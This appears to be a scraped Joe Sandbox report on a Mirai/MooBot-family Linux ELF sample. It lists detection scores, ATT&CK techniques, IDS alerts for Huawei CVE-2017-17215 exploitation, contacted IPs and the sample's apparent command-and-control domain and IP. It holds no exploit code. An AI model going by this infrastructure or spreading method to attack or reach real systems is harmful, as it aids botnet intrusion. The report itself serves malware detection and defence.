Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Indicator Removal on Host	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
XjaYYNxg9D.elf	75%	ReversingLabs	Linux.Trojan.Mirai
XjaYYNxg9D.elf	64%	Virustotal		Browse
XjaYYNxg9D.elf	100%	Avira	EXP/ELF.Gafgyt.Gen.Z.E

Name	IP	Active	Malicious	Antivirus Detection	Reputation
condi-v4.ddns.net	50.7.177.58	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	XjaYYNxg9D.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	XjaYYNxg9D.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.16.161.3	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
157.71.121.225	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
41.207.181.122	unknown	Togo	24691	TOGOTEL-ASTogoTelecomTogoTG	false
41.198.167.188	unknown	South Africa	327693	ECHO-SPZA	false
197.45.56.12	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.47.0.133	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.37.208.121	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.59.36.8	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
41.179.39.122	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.189.163.181	unknown	Ghana	30986	SCANCOMGH	false
179.204.13.167	unknown	Brazil	26615	TIMSABR	false
41.134.112.160	unknown	South Africa	10474	OPTINETZA	false
197.193.232.125	unknown	Egypt	36992	ETISALAT-MISREG	false
157.80.125.225	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.241.171.255	unknown	Sudan	36998	SDN-MOBITELSD	false
41.195.161.96	unknown	South Africa	16637	MTNNS-ASZA	false
197.141.89.15	unknown	Algeria	36891	ICOSNET-ASDZ	false
128.13.207.143	unknown	United States	32	STANFORDUS	false
197.206.175.72	unknown	Algeria	36947	ALGTEL-ASDZ	false
157.246.196.146	unknown	United States	394271	SPS-157-246-0-0US	false
41.174.172.211	unknown	South Africa	30969	ZOL-ASGB	false
157.2.162.255	unknown	Japan	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
157.144.246.108	unknown	Finland	719	ELISA-ASHelsinkiFinlandEU	false
157.98.31.45	unknown	United States	3527	NIH-NETUS	false
41.131.166.167	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.47.50.230	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.66.100.123	unknown	unknown	4713	OCNNTTCommunicationsCorporationJP	false
157.184.221.0	unknown	United States	22192	SSHENETUS	false
197.116.85.63	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.235.33.51	unknown	Mozambique	37223	VODACOM-MZ	false
197.53.131.61	unknown	Egypt	8452	TE-ASTE-ASEG	false
100.212.225.14	unknown	United States	21928	T-MOBILE-AS21928US	false
41.225.142.137	unknown	Tunisia	37671	GLOBALNET-ASTN	false
41.85.32.191	unknown	South Africa	22355	FROGFOOTZA	false
41.141.72.187	unknown	Morocco	36903	MT-MPLSMA	false
41.190.129.209	unknown	Mauritius	36997	INFOCOM-UG	false
41.224.35.100	unknown	Tunisia	37492	ORANGE-TN	false
157.202.188.26	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.89.147.91	unknown	South Africa	10474	OPTINETZA	false
157.135.242.109	unknown	United States	600	OARNET-ASUS	false
161.25.204.239	unknown	Chile	1916	AssociacaoRedeNacionaldeEnsinoePesquisaBR	false
197.47.108.221	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.37.165.76	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.54.60.164	unknown	South Africa	37168	CELL-CZA	false
41.110.52.232	unknown	Algeria	36947	ALGTEL-ASDZ	false
132.152.90.138	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
184.178.177.69	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
197.253.0.252	unknown	Nigeria	37282	MAINONENG	false
157.4.229.129	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
197.80.221.15	unknown	South Africa	10474	OPTINETZA	false
13.23.191.70	unknown	United States	395959	XEROX-ELLUS	false
153.188.194.210	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.34.127.153	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.49.60.49	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.106.1.208	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.140.232.146	unknown	Algeria	36891	ICOSNET-ASDZ	false
57.129.168.199	unknown	Belgium	2686	ATGS-MMD-ASUS	false
197.0.78.227	unknown	Tunisia	37705	TOPNETTN	false
41.86.181.5	unknown	Tanzania United Republic of	22354	UNIV-DARTZ	false
41.184.254.102	unknown	Nigeria	29091	IPNXngNG	false
197.84.96.118	unknown	South Africa	10474	OPTINETZA	false
157.121.153.110	unknown	United States	2514	INFOSPHERENTTPCCommunicationsIncJP	false
197.104.65.74	unknown	South Africa	37168	CELL-CZA	false
41.147.135.111	unknown	South Africa	5713	SAIX-NETZA	false
197.87.221.178	unknown	South Africa	10474	OPTINETZA	false
62.115.92.192	unknown	European Union	1299	TELIANETTeliaCarrierEU	false
157.245.169.44	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
157.168.230.58	unknown	Switzerland	22192	SSHENETUS	false
197.69.35.52	unknown	South Africa	16637	MTNNS-ASZA	false
147.227.78.136	unknown	United States	668	DNIC-AS-00668US	false
157.111.5.139	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
41.190.130.135	unknown	Mauritius	36997	INFOCOM-UG	false
197.186.243.52	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
93.102.117.121	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
157.112.161.47	unknown	Japan	17958	KCVKasaokaCableVisionCoLTDJP	false
41.227.79.22	unknown	Tunisia	37693	TUNISIANATN	false
41.108.247.10	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.70.138.233	unknown	South Africa	16637	MTNNS-ASZA	false
157.5.74.136	unknown	unknown	7671	MCNETNTTSmartConnectCorporationJP	false
157.148.177.41	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
41.143.116.68	unknown	Morocco	36903	MT-MPLSMA	false
41.225.189.112	unknown	Tunisia	37671	GLOBALNET-ASTN	false
41.157.30.12	unknown	South Africa	37168	CELL-CZA	false
197.133.11.14	unknown	Egypt	24835	RAYA-ASEG	false
157.54.197.100	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
206.29.242.197	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
41.171.107.106	unknown	South Africa	36937	Neotel-ASZA	false
41.43.91.250	unknown	Egypt	8452	TE-ASTE-ASEG	false
118.24.60.147	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
157.202.176.93	unknown	United States	1759	TSF-IP-CORETeliaFinlandOyjEU	false
197.235.93.126	unknown	Mozambique	37223	VODACOM-MZ	false
41.237.168.4	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.33.137.202	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.4.248.19	unknown	Tunisia	5438	ATI-TN	false
197.12.78.231	unknown	Tunisia	37703	ATLAXTN	false
157.92.111.91	unknown	Argentina	3449	UniversidadNacionaldeBuenosAiresAR	false
197.69.23.82	unknown	South Africa	16637	MTNNS-ASZA	false
41.123.6.102	unknown	South Africa	16637	MTNNS-ASZA	false
41.156.175.190	unknown	South Africa	37168	CELL-CZA	false
197.219.240.169	unknown	Mozambique	37342	MOVITELMZ	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.134.112.160	c55yYfapIy.elf	Get hash	malicious	Mirai, Moobot	Browse
197.45.56.12	sDA8OTeNkA.elf	Get hash	malicious	Mirai	Browse
197.47.0.133	zm0Or6RNL6	Get hash	malicious	Mirai	Browse
197.47.0.133	oP3l4x7S3o	Get hash	malicious	Mirai	Browse
41.37.208.121	k8CCRUs7Yi.elf	Get hash	malicious	Mirai, Moobot	Browse
41.37.208.121	Imd6cEU2E7	Get hash	malicious	Mirai	Browse
41.179.39.122	9CSfviwl3l	Get hash	malicious	Mirai	Browse
41.189.163.181	bk.arm4-20220929-2309.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
condi-v4.ddns.net	PHwyuumIcl.elf	Get hash	malicious	Mirai, Moobot	Browse	50.7.177.58
	MMYFf5su7l.elf	Get hash	malicious	Mirai, Moobot	Browse	50.7.177.58
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	50.7.177.58

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-WINDTREIUNETEU	EGe6UveHCq.elf	Get hash	malicious	Mirai, Moobot	Browse	151.66.131.31
	h6uEthO5A0.elf	Get hash	malicious	Mirai, Moobot	Browse	151.14.3.136
	FOgnfYFamF.elf	Get hash	malicious	Mirai	Browse	151.66.131.31
	Yo5ex43eMa.elf	Get hash	malicious	Mirai	Browse	151.59.166.70
	hewUWYL8GR.elf	Get hash	malicious	Mirai	Browse	195.45.166.37
	Js7kN616mT.elf	Get hash	malicious	Mirai, Moobot	Browse	151.56.237.116
	x86.elf	Get hash	malicious	Mirai	Browse	151.38.188.111
	EguMYID3LR.elf	Get hash	malicious	Unknown	Browse	151.3.31.195
	RyF9OHqsnV.elf	Get hash	malicious	Mirai	Browse	151.59.166.45
	dPFQJCvJuk.elf	Get hash	malicious	Mirai	Browse	151.5.73.248
	M23TbqpVNo.elf	Get hash	malicious	Mirai	Browse	151.71.15.84
	Tr_June.20(32).wsf	Get hash	malicious	Qbot	Browse	151.51.235.22
	Sqrorw.wsf	Get hash	malicious	Qbot	Browse	151.51.235.22
	6RxFMIck5M.elf	Get hash	malicious	Mirai	Browse	151.23.125.46
	KCWLge2AEy.elf	Get hash	malicious	Moobot	Browse	151.5.77.91
	TCKOnNwV84.elf	Get hash	malicious	Mirai, Moobot	Browse	151.3.136.200
	OC5TUkV4uu.elf	Get hash	malicious	Mirai, Moobot	Browse	151.25.187.60
	http://dlight.co.ke/imto/imto.php	Get hash	malicious	Qbot	Browse	151.51.235.22
	4YiWmkGDrh.elf	Get hash	malicious	Mirai, Moobot	Browse	151.18.194.166
	9DSC15hWzp.elf	Get hash	malicious	Mirai, Moobot	Browse	151.60.127.146
JEIS-NETJREastInformationSystemsCompanyJP	dGPvbScLpM.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.15.54
	p4Sa8sk5fM.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.250.165
	LifRywAKA7.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.27.44
	AiB2hMdov5.elf	Get hash	malicious	Mirai, Moobot	Browse	157.75.104.133
	Wwk9E3Ks6a.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.114.201
	Mb17Hfl18h.elf	Get hash	malicious	Mirai, Moobot	Browse	157.71.232.29
	Js7kN616mT.elf	Get hash	malicious	Mirai, Moobot	Browse	157.73.172.239
	JDXEULrTrq.elf	Get hash	malicious	Mirai, Moobot	Browse	157.75.239.118
	cBt0c3mfAJ.elf	Get hash	malicious	Mirai, Moobot	Browse	157.72.158.143
	YJPxku5Vo0.elf	Get hash	malicious	Mirai, Moobot	Browse	157.75.199.0
	i6rYUNskoD.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.15.91
	PHwyuumIcl.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.249.208
	MMYFf5su7l.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.15.95
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.52.70
	TNVdrMYD2h.elf	Get hash	malicious	Mirai	Browse	157.74.76.40
	dPFQJCvJuk.elf	Get hash	malicious	Mirai	Browse	157.72.178.1
	eXKqvotUHQ.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.15.88
	k9fBkBGZNf.elf	Get hash	malicious	Mirai, Moobot	Browse	157.74.249.229
	H6vvundDoP.elf	Get hash	malicious	Mirai, Moobot	Browse	157.75.239.112
	xvK58QIUk6.elf	Get hash	malicious	Mirai, Moobot	Browse	157.75.1.48

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Source: XjaYYNxg9D.elf	ReversingLabs: Detection: 75%
Source: XjaYYNxg9D.elf	Virustotal: Detection: 63%			Perma Link

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:38344 -> 50.7.177.58:56999
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 50.7.177.58:56999 -> 192.168.2.23:38344
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48540 -> 197.39.66.103:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:43108 -> 172.65.20.22:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34474 -> 41.232.168.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34476 -> 41.232.168.89:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33040 -> 34.160.76.193:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35798 -> 149.248.215.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42162 -> 168.220.84.20:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57368 -> 34.110.250.160:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.124.37.218
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.235.113
Source: unknown	TCP traffic detected without corresponding DNS query: 41.7.227.135
Source: unknown	TCP traffic detected without corresponding DNS query: 204.177.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 41.183.105.78
Source: unknown	TCP traffic detected without corresponding DNS query: 149.94.247.124
Source: unknown	TCP traffic detected without corresponding DNS query: 52.123.66.236
Source: unknown	TCP traffic detected without corresponding DNS query: 157.178.160.228
Source: unknown	TCP traffic detected without corresponding DNS query: 157.169.80.48
Source: unknown	TCP traffic detected without corresponding DNS query: 203.176.20.223
Source: unknown	TCP traffic detected without corresponding DNS query: 157.104.228.71
Source: unknown	TCP traffic detected without corresponding DNS query: 41.205.106.224
Source: unknown	TCP traffic detected without corresponding DNS query: 23.157.155.87
Source: unknown	TCP traffic detected without corresponding DNS query: 41.117.67.27
Source: unknown	TCP traffic detected without corresponding DNS query: 157.177.6.37
Source: unknown	TCP traffic detected without corresponding DNS query: 32.150.63.38
Source: unknown	TCP traffic detected without corresponding DNS query: 157.67.93.196
Source: unknown	TCP traffic detected without corresponding DNS query: 157.45.141.240
Source: unknown	TCP traffic detected without corresponding DNS query: 221.54.90.238
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.251.144
Source: unknown	TCP traffic detected without corresponding DNS query: 197.98.167.123
Source: unknown	TCP traffic detected without corresponding DNS query: 157.82.248.126
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.239.139
Source: unknown	TCP traffic detected without corresponding DNS query: 157.82.177.180
Source: unknown	TCP traffic detected without corresponding DNS query: 41.158.23.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.19.190.230
Source: unknown	TCP traffic detected without corresponding DNS query: 157.144.59.81
Source: unknown	TCP traffic detected without corresponding DNS query: 209.57.23.58
Source: unknown	TCP traffic detected without corresponding DNS query: 134.193.201.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.195.193.122
Source: unknown	TCP traffic detected without corresponding DNS query: 211.150.145.156
Source: unknown	TCP traffic detected without corresponding DNS query: 111.196.58.176
Source: unknown	TCP traffic detected without corresponding DNS query: 41.89.56.75
Source: unknown	TCP traffic detected without corresponding DNS query: 66.185.166.69
Source: unknown	TCP traffic detected without corresponding DNS query: 41.44.160.93
Source: unknown	TCP traffic detected without corresponding DNS query: 188.139.128.109
Source: unknown	TCP traffic detected without corresponding DNS query: 157.169.253.205
Source: unknown	TCP traffic detected without corresponding DNS query: 41.151.54.255
Source: unknown	TCP traffic detected without corresponding DNS query: 157.152.185.192
Source: unknown	TCP traffic detected without corresponding DNS query: 1.128.143.42
Source: unknown	TCP traffic detected without corresponding DNS query: 157.8.131.199
Source: unknown	TCP traffic detected without corresponding DNS query: 157.22.179.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.2.59.172
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.217.60
Source: unknown	TCP traffic detected without corresponding DNS query: 164.149.246.208
Source: unknown	TCP traffic detected without corresponding DNS query: 197.128.4.77
Source: unknown	TCP traffic detected without corresponding DNS query: 157.35.243.182
Source: unknown	TCP traffic detected without corresponding DNS query: 41.202.253.180

Source: XjaYYNxg9D.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: XjaYYNxg9D.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.813341384749412
Encrypted:	false
SSDEEP:	48:UWHb1qJTUb1r04b1Lb1Kzzq4PpBb1v1csuUVA5kb15xWbq4c/DNU1x3o9Ngb1qJs:voQK+Z3431eiT4eeCYonHSUE
MD5:	DE2051B9621EFC8BBDCB6A0347417976
SHA1:	3655D80C9D5703B45846945EC58D7322D1753CF9
SHA-256:	7DED75D8784FA2235AAABC3514FF95A0A709B25B94B5410AE49BE3FC870B06CA
SHA-512:	DB550671E7188F5FA2D4FBF809F607F7A6F0C9DD7855EA14FE7D77F750CD7434E6A9913A930527E7EF3331BAE5D6AFEC9AD1CBF19105E7E5031B528518E7A53E
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2023-4-17-0:3:56."/var/log/dpkg.log" 2023-4-16-22:3:22."/var/log/speech-dispatcher/debug-flite" 2023-4-17-0:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2023-4-16-22:3:22."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2023-4-16-22:3:22."/var/log/apt/term.log" 2023-4-16-22:3:22."/var/log/ppp-connect-errors" 2023-4-17-0:0:0."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2023-4-17-0:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/apt/history.log" 2023-4-16-22:3:22."/var/log/boot.log" 2023-4-17-0:0:0."/var/log/lightdm/*.log" 2023-4-17-0:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/debug" 2023-4-17-0:0:0."/var/log/mail.log" 2023-4-17-0:0:0."/var/log/kern.log" 2023-4-16-22:3:22."/var/log/cups/access_log" 2023-4-17-0:3:56."/var/log/ufw.log" 2023-4-17-0:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2023-4-17-0:0:0."/var/log/daemon.log" 2

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Sun Apr 16 22:03:22 2023, from Unix, original size modulo 2^32 554
Category:	dropped
Size (bytes):	196
Entropy (8bit):	6.892521706249719
Encrypted:	false
SSDEEP:	6:XR6AHAEQcuWwYhMzqfT5qsWXj9Zs3bjfYogBL:XR6AdNuWJMzqftqsWXnkko4
MD5:	718477C89095C810E4ED445D9315E895
SHA1:	CC5F059AD657DE0FD8A4E53F58E6C7412D964666
SHA-256:	F06311678DC5E56F0EE41B68F39E300016A132ABBA764AB80520713C1C23F3C3
SHA-512:	03807153E1B33A4EB291240252B8AAA63D905F975CEAB709691409540FA20DCDCA3133D8674641B8CDC4A9098376E1A69F8629FFEB1339BE5A5A063E813B5184
Malicious:	false
Preview:	.....p<d......0...Oqq-i~..n.[..J..F..r......x....X.}.....e.k3p%.,D^..P9...D.n..i.O2.%..I.%.6.VQ.!V.O...B....6.w.e.9....=^./...$.B..%B.T1.....8..B.[....mo\`...9.....=[....}.m.. *...

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.271537859475093
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	XjaYYNxg9D.elf
File size:	62988
MD5:	05cd9d16cf63fa2dd117138e2885b87e
SHA1:	8bc924e4093dc131be50344393fbc5a978f5452a
SHA256:	6d8ce26f0b71e46a71eaa66a5edcc49647c30f01e95567fd5c500f919b692fd1
SHA512:	820ad06b4c366b4f17b568e2af7c26107657da693753303ce1ff82fb4bf5b4ef678fe1216536a8f47d0f41911c1222aa7a4671277f2e65fcd11803f5f67b8ccc
SSDEEP:	768:qkaZjEoakZNRGHRnDmX7Xm+t/MyV8SpXCpEMf1/J9KCrMvuBxANUr6FV+tMiwWjY:MvolWm+l1pXgdlKCAWBxANee++bWcvF
TLSH:	CA534B02B31C0A07D1A31AB0253F5BD197BBEAD022F4F684751F979A96B5E361182FCD
File Content Preview:	.ELF...........................4...,.....4. ...(.......................p...p...............t...t...t...l..%t........dt.Q.............................!..\|......$H...H..-...$8!. \|...N.. .!..\|.......?..........T..../...@..\?........+../...A..$8...})......N..

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10000094	0x94	0x24	0x0	0x6	AX	4
.text	PROGBITS	0x100000b8	0xb8	0xd184	0x0	0x6	AX	4
.fini	PROGBITS	0x1000d23c	0xd23c	0x20	0x0	0x6	AX	4
.rodata	PROGBITS	0x1000d260	0xd260	0x1e10	0x0	0x2	A	8
.ctors	PROGBITS	0x1001f074	0xf074	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1001f07c	0xf07c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x1001f088	0xf088	0x314	0x0	0x3	WA	8
.sdata	PROGBITS	0x1001f39c	0xf39c	0x44	0x0	0x3	WA	4
.sbss	NOBITS	0x1001f3e0	0xf3e0	0x74	0x0	0x3	WA	4
.bss	NOBITS	0x1001f454	0xf3e0	0x2194	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf3e0	0x4b	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000000	0x10000000	0xf070	0xf070	6.3214	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xf074	0x1001f074	0x1001f074	0x36c	0x2574	2.8425	0x6	RW	0x10000	.ctors .dtors .data .sdata .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Start time:	00:03:55
Start date:	17/04/2023
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	00:03:56
Start date:	17/04/2023
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	00:03:57
Start date:	17/04/2023
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	00:03:58
Start date:	17/04/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	00:04:02
Start date:	17/04/2023
Path:	/tmp/XjaYYNxg9D.elf
Arguments:	/tmp/XjaYYNxg9D.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time:	00:04:03
Start date:	17/04/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report XjaYYNxg9D.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6380

/var/cache/man/cs/6380

/var/cache/man/cs/index.db.krZEqB

/var/cache/man/da/6380

/var/cache/man/da/index.db.kUTzGB

/var/cache/man/de/6380

/var/cache/man/de/index.db.8unWgB

/var/cache/man/es/6380

/var/cache/man/es/index.db.TJtkeE

/var/cache/man/fi/6380

/var/cache/man/fi/index.db.rd9AwC

/var/cache/man/fr.ISO8859-1/6380

/var/cache/man/fr.ISO8859-1/index.db.wllXoD

